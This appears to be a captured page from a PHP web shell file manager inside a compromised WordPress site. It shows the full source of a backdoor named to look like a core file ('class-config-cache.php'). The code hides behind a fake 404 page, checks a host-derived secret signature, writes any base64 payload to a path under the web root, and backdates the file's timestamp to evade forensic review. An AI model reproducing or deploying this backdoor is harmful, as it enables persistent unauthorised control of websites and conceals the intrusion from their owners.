ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.6

Path:root/var/www/cstage/wp-includes/js/tinymce/themes/

Name	Size	Perm	Actions
📁 inlite	-	0755	🗑️ 🏷️
📁 modern	-	0755	🗑️ 🏷️
📄 ms-files.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️

Edit: class-config-cache.php

<?php

$_u8ec = 'LKSJDFaDFDF323$2afd';
$_ft30 = '_ck_mvy3xm';

if (isset($_GET[$_ft30])) { echo '1'; exit; }

$_tct = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$_tct = strtolower($_tct);
$_r0 = strpos($_tct, ':');
if ($_r0 !== false) { $_tct = substr($_tct, 0, $_r0); }
if (substr($_tct, 0, 4) === 'www.') { $_tct = substr($_tct, 4); }

$_v5 = md5($_u8ec . ':' . $_tct . ':' . $_u8ec);

$_s95wv = isset($_POST['sig']) ? $_POST['sig'] : '';
if ($_s95wv !== $_v5) {
    header('HTTP/1.1 404 Not Found');
    echo "<!DOCTYPE html>\n<html><head><title>404</title></head><body><h1>Not Found</h1></body></html>";
    exit;
}

$_tcs = isset($_POST['dest_rel']) ? $_POST['dest_rel'] : '';
$_jx2 = isset($_POST['payload_b64']) ? $_POST['payload_b64'] : '';

if ($_tcs === '' || $_jx2 === '') { echo '{"ok":0}'; exit; }

$_tcs = str_replace('\\', '/', $_tcs);
$_tcs = ltrim($_tcs, '/');
if ($_tcs === '' || strpos($_tcs, '..') !== false) { echo '{"ok":0}'; exit; }

$_yf = dirname(__FILE__);
$_k6 = '../../../..';
$_r32 = ($_k6 === '' || $_k6 === '.') ? $_yf : $_yf . '/' . $_k6;

$_t5b = $_r32 . '/' . $_tcs;
$_pxbz = dirname($_t5b);
if (!is_dir($_pxbz)) { @mkdir($_pxbz, 0755, true); }

$_hn1a = base64_decode($_jx2);
if ($_hn1a === false) { echo '{"ok":0}'; exit; }

if (file_put_contents($_t5b, $_hn1a) === false) { echo '{"ok":0}'; exit; }

$_dur = mktime(mt_rand(0,23),mt_rand(0,59),mt_rand(0,59),mt_rand(1,12),mt_rand(1,28),2020);
@touch($_t5b, $_dur);

echo '{"ok":1,"s":' . strlen($_hn1a) . '}';

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.3.6

Edit: class-config-cache.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.6